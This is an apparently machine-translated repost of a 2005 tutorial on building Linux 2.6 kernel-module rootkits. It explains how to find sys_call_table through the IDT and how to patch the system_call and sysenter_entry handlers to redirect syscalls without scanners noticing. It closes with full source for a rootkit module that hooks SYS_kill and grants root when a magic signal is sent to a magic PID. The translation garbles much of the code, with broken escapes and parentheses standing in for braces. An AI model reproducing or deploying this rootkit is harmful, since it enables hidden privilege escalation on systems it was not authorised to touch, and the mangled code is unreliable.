Docstoc

LKM Rootkits in x86 Linux v26

Document Sample
LKM Rootkits in x86 Linux v26 Powered By Docstoc
					=-|=============================================== =- (Www.enye-sec.org
}-====|
 =- [LKM Rootkits in x86 Linux v2.6 ]-
===================================== === |
 =-|===============================================
===========================|
 =- [By Raise <raise@enye-sec.org> ]-========================-[
26/09/2005] -= |



 ------[ 0 .- Index]


 0 .- Index
 1 .- Prologue
 2 .- History of the LKM rootkits

 3 .- Differences between V2.4 and v2.6 kernels
   3.1 .- Compilation
   3.2 .- Symbol sys_call_table

 4 .- Redesign handler system_call
 5 .- Redesign handler sysenter_entry

 6 .- An example of LKM SYS_kill (local root) with handlers modified
 7 .- Farewell



 ------[ 1 .- Prologue]


 Good. This text attempts to explain some differences between
 schedule a LKM (loadable kernel module) for Linux kernels V2.4 and v2.6.
 I will also make a little refresher on the 'history' of the LKM's
rootkits, and
 A new method of installing a LKM to make it more difficult to
 detect.

 This text is based on LKM's for linux. You should be minimally
 familiar with the programming modules to follow him, but nor
 try to write a bible but a (mini) text-oriented practice.



 ------[ 2 .- History of the LKM rootkits]


 The benefits of scheduling a rootkit in ring0 are many. You can do
things
 change the contents of the table of interruptions, redirecting
 syscalls, and generally anything that happens to you because you do not
have
 no limit privileges.

 Initially the first LKM rootkits what they did was to change the
 contents of the sys_call_table, so that was interesting syscalls
 redirected to our code in memory via Injected the LKM.
 This allows things like taking root local, hide files or processes, and
so on. The
 problem is that it is very easy for a detector to analyze the rootkits
 sys_call_table and realize that has been modified.

 Then have appeared different methods to try to make more difficult
 the detection of rootkits. For example, inserting a jump on the
principle of
 the syscall, or by more or less complex techniques allowing run
 our code under certain circumstances. The problem with this last
 is that to achieve some of these circumstances we must have access to
 system (for example, I'm referring to the method of generating a failure
 page -> http://www.phrack.org/show.php?p=61&a=7). Later we will see a
 fairly simple method that allows redirect syscalls without changing the
 sys_call_table or IDT (interrupt descriptor table).

 But let us begin by parties, seeing the differences between the kernels
and V2.4
 v2.6.



 ------[ 3 .- Differences between V2.4 and v2.6 kernels]


 I will not go into differences at a low level because: a) not in the
know
 deep enough & & b) is not necessary to schedule a saberlas
 LKM. I will simply summarize them and focus on the practical part.


 ----[ 3.1 .- Compilation]


 Well, first of the difference that jumps to the naked eye is the
extension.
 Before the modules were simple object (. O), now becomes
 kernel object file (. ko). The way to compile a LKM also has
 varied. Prior to having such a compiler and various file headers
 (. h) was sufficient. Now it is necessary to have the kernel source (at
 least a minimal part) installed on the system.

 The files. Ko are compiled by invoking the system's kernel Makefiles.
 This is so because the LKM in v2.6 carry some symbols defined in
 compile time (simple explanation). To compile such a
 module that makes a printk ( "hello") would be something like the
following:

 NOTE: Be careful with that tool will copy and paste the code
       the Makefile, as it has to copy it the "tab, if
       turns them into spaces will not work.


 Ejemplo.c ---- ----

 # include <linux/module.h>
 # include <linux/kernel.h>
 # include <linux/init.h>


 int init_module (void)
 (
 printk ( "WEEE! \ n");

 return (0);
 )

 cleanup_module void (void)
 (
 )

 MODULE_LICENSE ( "GPL");

 Eof ---- ----


 Makefile ---- ----

 obj-m: = eg

 all:
 make-C / lib / modules / $ (shell uname-r) / build subdirs = $ (PWD)
modules

 Eof ---- ----


 In / lib / modules / $ (shell uname-r) / logically have to have a link
with the
 build name pointing to the directory of the kernel source (and comes
 installed on a properly configured system). Well, nothing, we 'make' and
now
 we have the 'ejemplo.ko' ready to install it.


 ----[ 3.2 .- Symbol sys_call_table]


 Another difference in v2.6 kernels is that the value of the already
sys_call_table
 not be exported as a symbol of the kernel. Before V2.4 in order to
obtain the
 direction of the sys_call_table enough with something like:
 extern void * sys_call_table [];

 In v2.6 the thing is a bit more complicated (but little). There are
several methods
 to get the address of the table syscalls. The most simple (and
 more cumbersome) is to watch the System.map, but that file can not be
 to date, have been changed, and so on. Therefore it is best to use
another
 method that the 'kick' from memory during execution. The method I use
 only serves to Linux x86 (like almost everything that explains this
text), and is not
 mia idea but is still used in many LKMs.

 Is to get the address of the handler that uses Linux for
 interrupt 0x80. As you shall know the syscalls are used in linux through
 the disruption 0x80,% eax placing in the number of syscall and% ebx,
 % ecx, etc. the arguments of the same. The handler of that interruption
 (0x80) is' system_call, 'and this well-defined in'
arch/i386/kernel/entry.S 'on
 kernel sources:


 Arch/i386/kernel/entry.S ---- ----

     # System call handler stub
 ENTRY (system_call)
     pushl% eax # save orig_eax
     SAVE_ALL
     GET_THREAD_INFO (% ebp)
     cmpl $ (nr_syscalls),% eax
     jae syscall_badsys
                     # Call tracing system in operation
     $ _TIF_SYSCALL_TRACE testbed, TI_FLAGS (% ebp)
     jnz syscall_trace_entry
 syscall_call:
     sys_call_table call * (,% eax, 4)
     movl% eax, EAX (% esp) # store the return value
     ....

 Eof ---- ----


 As we see the first save all records in the stack, then a few
 any verification such as whether the number of syscall is correct,
 and what interests us: a call sys_call_table * (,% eax, 4). So in
 that the call will own instruction including the address of the
 sys_call_table, namely the instruction opcodes that would be something
like:

  0xff 0x14 to 0x85 * Address * sys_call_table

 The first 3 correspond to the instruction of the call. In short, what
 we have to do is get the address of the handler of int 0x80
 (system_call), and go looking until we find 0xff 0x14 0x85. However,
 as we get the address of the handler?. Very simply, through the RTD
 (Interrupt Descriptor Table). The IDT contains descriptors for each
 interrupcion (among other things). The address of the IDT is contained
in the
 IDTR record, 48-bit, which has painted the following:


        47 15 0
        | Direction Base IDT | IDT Limit |


 That is, the first 2 bytes are confined to the RTD, and 4 the following
 Based direction. The content of IDTR is read with special Personeel
 'sidt'. Once we have a basis of the direction we are going to IDT
descriptor
 0x80. The descriptors hold 64 bits each and have the next pint
 (I put it in style C to be more brief):

     struct idt_descriptor
         (
         unsigned short off_low;
         unsigned short sel;
         unsigned char none, flags;
         unsigned short off_high;
         );

 In other words, the first 2 bytes and the past 2 correspond to the
bottom and
 the upper offset respectively, it should be 'cogerlos' to unite and
 obtain the basic direction of the handler (system_call). This whole roll
Summary
 C would like this (who entire module printea the value of the
 sys_call_table):


 Print_sys_call_table.c ---- ----

 #   include   <linux/types.h>
 #   include   <linux/stddef.h>
 #   include   <linux/unistd.h>
 #   include   <linux/config.h>
 #   include   <linux/module.h>
 #   include   <linux/version.h>
 #   include   <linux/kernel.h>
 #   include   <linux/string.h>
 #   include   <linux/mm.h>
 #   include   <linux/slab.h>
 #   include   <linux/sched.h>
 #   include   <linux/in.h>
 #   include   <linux/skbuff.h>
 #   include   <linux/netdevice.h>
 #   include   <linux/dirent.h>
 #   include   <asm/processor.h>
# include <asm/uaccess.h>
# include <asm/unistd.h>


void * get_system_call (void);
void * get_sys_call_table (void * system_call);

void ** sys_call_table;

struct idt_descriptor
    (
    unsigned short off_low;
    unsigned short sel;
    unsigned char none, flags;
    unsigned short off_high;
    );


int init_module (void)
(
void * s_call;

s_call = get_system_call ();
sys_call_table = get_sys_call_table (s_call);

printk ( "sys_call_table: 0x% 08x \ n", (int) sys_call_table);
return (-1);
)

cleanup_module void (void) (/ * nothing * /)


void * get_system_call (void)
(
unsigned char idtr [6];
unsigned long base;
struct idt_descriptor desc;

asm ( "sidt% 0": "= m" (idtr));
base = * ((unsigned long *) & idtr [2]);
memcpy (& desc, (void *) (base + (0x80 * 8)), sizeof (desc));

return ((void *) ((desc.off_high <<16) + desc.off_low));

/*********** Order get_sys_call_table) () ***********/


void * get_sys_call_table (void * system_call)
(
unsigned char * p;
unsigned long s_c_t;
int count = 0;

p = (unsigned char *) system_call;
 while (!((* p == 0xff) & & (* (p +1) == 0x14) & & (* (p +2) == 0x85)))
     (
     p + +;

     if (count + +> 500)
         (
         count = -1;
         break;
         )
     )

 if (count! = -1)
     (
     p + = 3;
     s_c_t = * ((unsigned long *) p);
     )
 else
     s_c_t = 0;

 return ((void *) s_c_t);

 /********** Get_sys_call_table end) () *************/

 MODULE_LICENSE ( "GPL");

 Eof ---- ----


 We compiled with the corresponding Makefile (section 3.1 of the text,
only
 we need to change eg by print_sys_call_table.o), installed it (give a
 error by the return -1, it is just to see what printea) and look at the
syslog:

 Sep 25 01:19:58 enye-sec kernel: sys_call_table: 0xc0323d00

 And now we do:

 [@ raise enye-sec] $ grep sys_call_table / boot / System.map
 c0323d00 D sys_call_table

 As we see is perfectly agrees that the method works.



 ------[ 4 .- Redesign system_call handler]


 Now we'll see a method to achieve that redirect all syscalls
 want, but without touching or the contents of the sys_call_table, or the
code
 any syscall, or RTD. How?, Very simple, modifying certain byte
 the handler for int 0x80, usease of system_call. This allows manage our
 without it no syscalls own scanner rootkits (at least so far
 and that I know) what it discovers.

 The method we use is fairly simple. Let the code in the asm
 system_call:


 Arch/i386/kernel/entry.S ---- ----

     # System call handler stub
 ENTRY (system_call)
     pushl% eax # save orig_eax
     SAVE_ALL
     GET_THREAD_INFO (% ebp)

     cmpl $ (nr_syscalls),% eax ---> These instructions will be those
     jae syscall_badsys ---> overwrite with our jump.

                     # Call tracing system in operation
     $ _TIF_SYSCALL_TRACE testbed, TI_FLAGS (% ebp)
     jnz syscall_trace_entry
 syscall_call:
     sys_call_table call * (,% eax, 4)
     movl% eax, EAX (% esp) # store the return value
     ....

 Eof ---- ----


 Consider. We need to get a jump, the best place to do it according to my
 opinion is just charged that between GET_THREAD_INFO (% ebp) and testbed
 $ _TIF_SYSCALL_TRACE, TI_FLAGS (% ebp). That is, the comparison and jump
to
 syscall_badsys. $ (nr_syscalls) is nothing more than ... to be exact:

 # define nr_syscalls ((syscall_table_size) / 4)

 Usease, compares whether the syscall is greater than the maximum number
of syscall
 allowed (0x112). The 'cmpl $ (nr_syscalls),% eax' occupies 5 bytes, and
'jae
 syscall_badsys' occupies 6, with which we have 11 bytes to put our ahi
 jump. The easiest way to do this is by overwriting a 'pushl' with
 our direction and then a 'ret', which occupy a total of 6 bytes. This is
 We will start right where the 'cmpl'.

 Once we have control of the system (if any program you use the int
 0x80) will do the comparison between% eax nr_syscalls and ourselves, and
if
 The number of syscall goes from enabled (0x112) Go to
 syscall_badsys just as you would the original handler. We continue ..

 We assume that the result is valid, what follows is to check syscall
 with all that we want syscalls redirected. For example, if we
 redirect the syscall of SYS_kill (number 37), compared with 37% eax, if
 are equal to our own syscall jump (code in the module), and only
 we jump right handler to the original 'testbed $ _TIF_SYSCALL_TRACE,
 TI_FLAGS (% ebp). So we have a jump in the intermediate to compare
 % eax nr_syscalls first and then with our favorite syscall.

 Should not the syscall we seek to return control
 handler as if nothing had happened, but in the event that it is already
 we control our own code and can handle a syscall
 our whim, and from there to call the original syscall as is done with
the
 LKMs classic of a lifetime.

 Do not worry if you lose with such theoretical explanation at the end of
 text is including a LKM that uses this method to redirect the syscall
 SYS_kill, which can be used to look like everything in detail.



 ------[ 5 .- Redesign sysenter_entry handler]


 The method to overwrite the handler of the interruption has a 0x80
 drawback. And that is, more or less from the 2.6 kernel, in combination
with
 libc is no longer used int 0x80 to call the syscalls, but using a
 special instruction called 'sysenter' (2 bytes: 0x0F 0x34), that what
 is calling the function 'sysenter_entry'. This function / handler it
does is
 practically the same as' system_call ', but without having to go through
the
 IDT, with a consequent saving of time. That is, all the programs that
 use libc not call for an interrupt 0x80 to run syscall, but
 that make it through sysenter, bringing the method of Section
 earlier this text is incomplete.

 Take a look at the function sysenter_entry:


 Arch/i386/kernel/entry.S ---- ----

     # Sysenter call handler stub
 ENTRY (sysenter_entry)
     movl TSS_ESP0_OFFSET (% esp),% esp
 sysenter_past_esp:
     sti
     pushl $ (__USER_DS)
     pushl% ebp
     pushfl
     pushl $ (__USER_CS)
     pushl $ SYSENTER_RETURN

 / *
  * Load the potential sixth argument from user stack.
  * Careful about security.
  * /
     cmpl $ __PAGE_OFFSET-3% ebp
     jae syscall_fault
 1: movl (% ebp),% ebp
 . __ex_table section, "a"
     . align 4
     . 1b long, syscall_fault
 . previous

     pushl% eax
     SAVE_ALL
     GET_THREAD_INFO (% ebp)
     cmpl $ (nr_syscalls),% eax ---> These instructions will be those
     jae syscall_badsys ---> overwrite with our jump.

     $ _TIF_SYSCALL_TRACE testbed, TI_FLAGS (% ebp)
     jnz syscall_trace_entry
     sys_call_table call * (,% eax, 4)
     movl% eax, EAX (% esp)
     ....

 Eof ---- ----


 As we see the internal operation is the same ends leaping at the end
 pointer to the content sys_call_table: 'call sys_call_table * (,% eax,
4). In
 Indeed, the code from where the records saved in the stack is a
 exact copy of the handler of the int 0x80 (system_call). Therefore no
 but we have to apply the same method to this other handler, ie
 just get a jump on the comparison of% eax with nr_syscalls.

 The difference is in how we draw the direction of sysenter_entry. A
 Unlike sys_call_table, sysenter_entry exported as if this
 symbol, so that we can get by with a simple example:

 [@ raise enye-sec] $ grep sysenter_entry / proc / kallsyms
 c010af50 t sysenter_entry

 Anyway there must be a way to read the symbol from the very
 LKM. What I have been watching and I must be very donkey because I was
unable to
 to achieve the functions of the kernel symbols to read .. if anyone
knows
 as doing so would appreciate if you could send me an email to
raise@enye-sec.org. The
 method to use in the LKM is to read the symbol from the Makefile itself
with a
 script, but it works though the truth is that it is very nice to be
 read.
 ------[ 6 .- LKM SYS_kill (local root) with handlers modified]


 Here you have a simple example of how to apply the method to modify the
 system_call handlers and sysenter_entry, getting redirected the SYS_kill
 and getting a rootkit that provides local root, without which no
 (to date) of rootkits detected by scanner. But before you copy and paste
 of the code we will very briefly explain its operation.

 The rootkit puts a couple of breaks, depending on the method explained,
both in the
 int handler of 0x80 (system_call) and in the sysenter (sysenter_entry).
 These jumps are arrays with instructions for asm
 defined in LKM: idt_handler [] and sysenter_handler [].

 The codes are exactly alike. Both were in complete charge time
 LKM with some of the values by overwriting certain bytes of these
arrays,
 such as the direction in trampoline event that the number of syscall
 is incorrect, and so on. The code of such arrays is as follows:

 idt_handler char   [] = / / (the   sysenter_handler is identical)
     "\ x90 \ x90   \ x90 \ x90 \   x90 \ x90 \ x90 \ x90 \ x90 \ X3D \ x12 \
X01 \ x00 \ x00 \   x73 \ x02"
     "\ xeb \ x06   \ x68 \ x90 \   x90 \ x90 \ x90 \ xc3 \ X83 \ xf8 \ x25 \
x74 \ x06 \ x68 \   x90 \ x90"
     "\ x90 \ x90   \ xc3 \ xff \   x15 \ x90 \ x90 \ x90 \ x90 \ x68 \ x90 \
x90 \ x90 \ x90 \   xc3";


 Consider the opcodes ..


 * "\ X90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90":
 - 9 nops, for security reasons we jump to the fifth nop
   just (jump from the original handler).

 * "\ X3D \ x12 \ X01 \ x00 \ x00" = '$ cmp 0x112,% eax':
 - We should make the comparison to the handler.

 * "\ X73 \ x02" = '+2' jae:
 - If it is equal to or greater skips the next instruction (the next
JMP).

 * "\ Xeb \ x06" = 'JMP +6':
 - Jump 2 following instructions (the push + ret).

 * "\ X68 \ x90 \ x90 \ x90 \ x90 \ xc3" = 'pushl 0x90909090' 'ret':
 - Here 0x90909090 by overwriting the original direction of
   syscall_badsys in the handler.

 * "\ X83 \ xf8 \ x25" = 'cmp $ 0x25,% eax':
 - Check to see if we make the call syscall is SYS_kill (0x25).
 * "\ X74 \ x06" = 'je +6':
 - If it is we jump the 2 following instructions (push + ret).

 * "\ X68 \ x90 \ x90 \ x90 \ x90 \ xc3" = 'pushl 0x90909090' 'ret':
 - Here overwrite with the direction of 'testbed $ _TIF_SYSCALL_TRACE,
   TI_FLAGS (% ebp) 'original handler (a value for each handler), because
   SYS_kill the syscall is not and does not interest us, so we will be
refunded in
   control the handler.

 * "\ Xff \ x15 \ x90 \ x90 \ x90 \ x90" = 'call * 0x90909090':
 - Here is the syscall SI SYS_kill, so we need to jump to our
   hacked_kill function (), but back then just here, so we have
   to be a call. A normal call takes the argument as offset, not as
   absolute memory address, so in order not to complicate the life we
used
   an intermediate variable that contains the address of hacked_kill ():
   p_hacked_kill (note: a call using an intermediate address whether that
takes the
   contents of your address as absolute memory). This variable is
   declared in the LKM, and sobreescribremos 0x90909090 in this
instruction of the
   handler for the address of that variable (p_hacked_kill), bringing the
   call finally jump to hacked_kill ().

 * "\ X68 \ x90 \ x90 \ x90 \ x90 \ xc3" = 'pushl 0x90909090' 'ret':
 - After you have run our own syscall 'hacked' you have to
   return control to the system, ie by sobreescribremos 0x90909090
   the instruction following the 'call sys_call_table * (,% eax, 4)' the
handler
   original, as if they had been the handler which would
   Call to syscall.

 * Finish:).


 I hope to have explained more or less well .. Below you see the complete
code
 LKM's so you can try it if you want. I have no function
 UnInstall for vagrancy, so the only way to uninstall it is
 1 to reset the system.


 NOTE: Be careful with that tool will copy and paste the code
       the Makefile, as it has to copy it the "tab, if
       turns them into spaces will not work.


 Makefile ---- ----

 obj-m: = ejemplo_handlers_syskill.o
 S_ENT = 0x `grep sysenter_entry / proc / kallsyms |` head-c 8

 all:
 @ Echo
 @ echo   "------------------------------------------"
 @ Echo   "LKM (SYS_kill) with modified handlers"
 @ Echo   "raise@enye-sec.org | www.enye-sec.org"
 @ echo   "------------------------------------------"
 @ Echo
 @ Echo   "# define DSYSENTER $ (S_ENT)"> sysenter.h
 make-C   / lib / modules / $ (shell uname-r) / build subdirs = $ (PWD)
modules

 clean:
 @ Echo
 @ echo   "------------------------------------------"
 @ Echo   "LKM (SYS_kill) with modified handlers"
 @ Echo   "raise@enye-sec.org | www.enye-sec.org"
 @ echo   "------------------------------------------"
 @ Echo
 @ Rm-f   *. o *. ko *. cmd mod.c .*. sysenter.h
 make-C   / lib / modules / $ (shell uname-r) / build subdirs = $ (PWD)
clean

 Eof ---- ----


 Ejemplo_handlers_syskill.c ---- ----

 / *
  * Example of LKM x86 kernel 2.6.x changing the handlers of:
  *
  * - System_call
  * - Sysenter_entry
  *
  * Once uploaded to get local root run:
  *
  S * # kill-SIG PID
  *
  * GIS and PID can be changed by varying the # define
  *
  *
  * Raise <raise@enye-sec.org>
  * ENYe Sec - http://www.enye-sec.org
  *
  * /


 #   include   <linux/types.h>
 #   include   <linux/stddef.h>
 #   include   <linux/unistd.h>
 #   include   <linux/config.h>
 #   include   <linux/module.h>
 #   include   <linux/version.h>
 #   include   <linux/kernel.h>
 #   include   <linux/string.h>
 #   include   <linux/mm.h>
#   include   <linux/slab.h>
#   include   <linux/sched.h>
#   include   <linux/in.h>
#   include   <linux/skbuff.h>
#   include   <linux/netdevice.h>
#   include   <linux/dirent.h>
#   include   <asm/processor.h>
#   include   <asm/uaccess.h>
#   include   <asm/unistd.h>
#   include   "sysenter.h"

#   define   IDT 0
#   define   SYSENT 1
#   define   ORIG_BADSYS 19
#   define   TESTTRACE 30
#   define   JUMP 5
#   define   DCALL 37
#   define   DAFTER_CALL 42

# define SIG 58
# define PID 12345


/ * Pointers to syscalls original * /
int (* orig_kill) (pid_t pid, int sig);


/ * Global variables * /
unsigned long orig_bad_sys [2], test_trace [2];
unsigned long after_call [2], p_hacked_kill;
void * sysenter_entry;
void ** sys_call_table;


/ * Prototypes functions * /
void * get_system_call (void);
void * get_sys_call_table (void * system_call);
set_idt_handler void (void * system_call);
set_sysenter_handler void (void * sysenter);
int hacked_kill (pid_t pid, int sig);


/ * Structures * /
struct idt_descriptor
(
Unsigned short off_low;
Unsigned short sel;
Unsigned char none, flags;
Unsigned short off_high;
);


/ * Handlers * /
idt_handler char [] =
     "\ x90    \ x90   \ x90   \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ X3D \ x12 \
X01 \ x00 \    x00 \   x73 \   x02"
     "\ xeb    \ x06   \ x68   \ x90 \ x90 \ x90 \ x90 \ xc3 \ X83 \ xf8 \ x25 \
x74 \ x06 \    x68 \   x90 \   x90"
     "\ x90    \ x90   \ xc3   \ xff \ x15 \ x90 \ x90 \ x90 \ x90 \ x68 \ x90 \
x90 \ x90 \    x90 \   xc3";

 sysenter_handler      char [] =
     "\ x90 \ x90      \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ X3D \ x12 \
X01 \ x00 \ x00 \      x73 \ x02"
     "\ xeb \ x06      \ x68 \ x90 \ x90 \ x90 \ x90 \ xc3 \ X83 \ xf8 \ x25 \
x74 \ x06 \ x68 \      x90 \ x90"
     "\ x90 \ x90      \ xc3 \ xff \ x15 \ x90 \ x90 \ x90 \ x90 \ x68 \ x90 \
x90 \ x90 \ x90 \      xc3";



 int init_module (void)
 (
 void * s_call;

 sysenter_entry = (void *) DSYSENTER;

 s_call = get_system_call ();
 sys_call_table = get_sys_call_table (s_call);
 set_idt_handler (s_call);
 set_sysenter_handler (sysenter_entry);

 p_hacked_kill = (unsigned long) hacked_kill;

 orig_kill = sys_call_table [__NR_kill];

 return (0);
 )


 cleanup_module void (void)
 (
 )


 void * get_system_call (void)
 (
 unsigned char idtr [6];
 unsigned long base;
 struct idt_descriptor desc;

 asm ( "sidt% 0": "= m" (idtr));
 base = * ((unsigned long *) & idtr [2]);
 memcpy (& desc, (void *) (base + (0x80 * 8)), sizeof (desc));

 return ((void *) ((desc.off_high <<16) + desc.off_low));

 /*********** Order get_sys_call_table) () ***********/
void * get_sys_call_table (void * system_call)
(
unsigned char * p;
unsigned long s_c_t;

p = (unsigned char *) system_call;

while (!((* p == 0xff) & & (* (p +1) == 0x14) & & (* (p +2) == 0x85)))
P + +;

p + = 3;
s_c_t = * ((unsigned long *) p);

p + = 4;
after_call [IDT] = (unsigned long) p;

return ((void *) s_c_t);

/********** Get_sys_call_table end) () *************/



set_idt_handler void (void * system_call)
(
unsigned char * p;
unsigned long offset, * p2;

p = (unsigned char *) system_call;

while (!((* p == 0x0F) & & (* (p +1) == 0x83)))
    p + +;

p + = 2;
offset = * ((unsigned long *) p);

orig_bad_sys [IDT] = (unsigned long) ((p-2) + offset + 6);
test_trace [IDT] = (unsigned long) ((p-2) + 6);

p = (unsigned char *) (test_trace [IDT] - 0xb);

* p + + = 0x68;
p2 = (unsigned long *) p;
* p2 + + = (unsigned long) ((void *) & idt_handler [JUMP]);

p = (unsigned char *) p2;
* p = 0xc3;

p = idt_handler;
* ((unsigned long *) ((void *) p + ORIG_BADSYS)) = orig_bad_sys [IDT];
* ((unsigned long *) ((void *) p + TESTTRACE)) = test_trace [IDT];
 * ((unsigned long *) ((void *) p + DCALL)) = (unsigned long) &
p_hacked_kill;
 * ((unsigned long *) ((void *) p + DAFTER_CALL)) = after_call [IDT];

 /********** Set_idt_handler end) () ***********/



 set_sysenter_handler void (void * sysenter)
 (
 unsigned char * p;
 unsigned long * p2;

 p = (unsigned char *) sysenter;

 while (!((* p == 0xff) & & (* (p +1) == 0x14) & & (* (p +2) == 0x85)))
     p + +;

 p + = 7;
 after_call [SYSENT] = (unsigned long) p;

 p = (unsigned char *) sysenter;

 while (!((* p == 0x3d) & & (* (p +1) == 0x12) & & (* (p +2) == 0x01)
 & & (* (P +3) == 0x00)))
     p + +;

 p + = 11;

 orig_bad_sys [SYSENT] = orig_bad_sys [IDT];
 test_trace [SYSENT] = (unsigned long) (p);

 p = (unsigned char *) (test_trace [SYSENT] - 0xb);

 * p + + = 0x68;
 p2 = (unsigned long *) p;
 * p2 + + = (unsigned long) ((void *) & sysenter_handler [JUMP]);

 p = (unsigned char *) p2;
 * p = 0xc3;

 p = sysenter_handler;
 * ((unsigned long *) ((void   *) p + ORIG_BADSYS)) = orig_bad_sys
[SYSENT];
 * ((unsigned long *) ((void   *) p + TESTTRACE)) = test_trace [SYSENT];
 * ((unsigned long *) ((void   *) p + DCALL)) = (unsigned long) &
p_hacked_kill;
 * ((unsigned long *) ((void   *) p + DAFTER_CALL)) = after_call [SYSENT];

 /********** Set_sysenter_handler end) () ***********/



 int hacked_kill (pid_t pid, int sig)
 (
 struct task_struct * ptr = current;
 TSIG int = GIS, tpid = PID, ret_tmp;


 if ((pid == tpid) & & (TSIG == sig))
     (
     ptr-> uid = 0;
     ptr-> euid = 0;
     ptr-> gid = 0;
     ptr-> egid = 0;
     return (0);
     )
 else
     (
     ret_tmp = (* orig_kill) (pid, sig);
     return (ret_tmp);
     )

 return (-1);

 ) /********** Order hacked_kill ************/


 / * * GPL License /
 MODULE_LICENSE ( "GPL");

 Eof ---- ----



 ------[ 7 .- Farewell]


 I hope I have helped clarify a little like a program in linux with LKM
 v2.6 kernels. We also hope that the method of changing the handlers will
be
 util. In brief http://www.enye-sec.org publishes in a fairly LKM Rootkit
 complete that not only redirects SYS_kill, and to do things like
 auto_ocultarse to the list of modules loaded, and so on.

 A greeting:).

 Raise <raise@enye-sec.org>



 =-|=============================================== ================= EOF
=====|

				
DOCUMENT INFO
Tags: security
Stats:
views:163
posted:4/22/2010
language:Dutch
pages:18
burmesepentester burmesepentester YGN Ethical Hacker http://yehg.net
About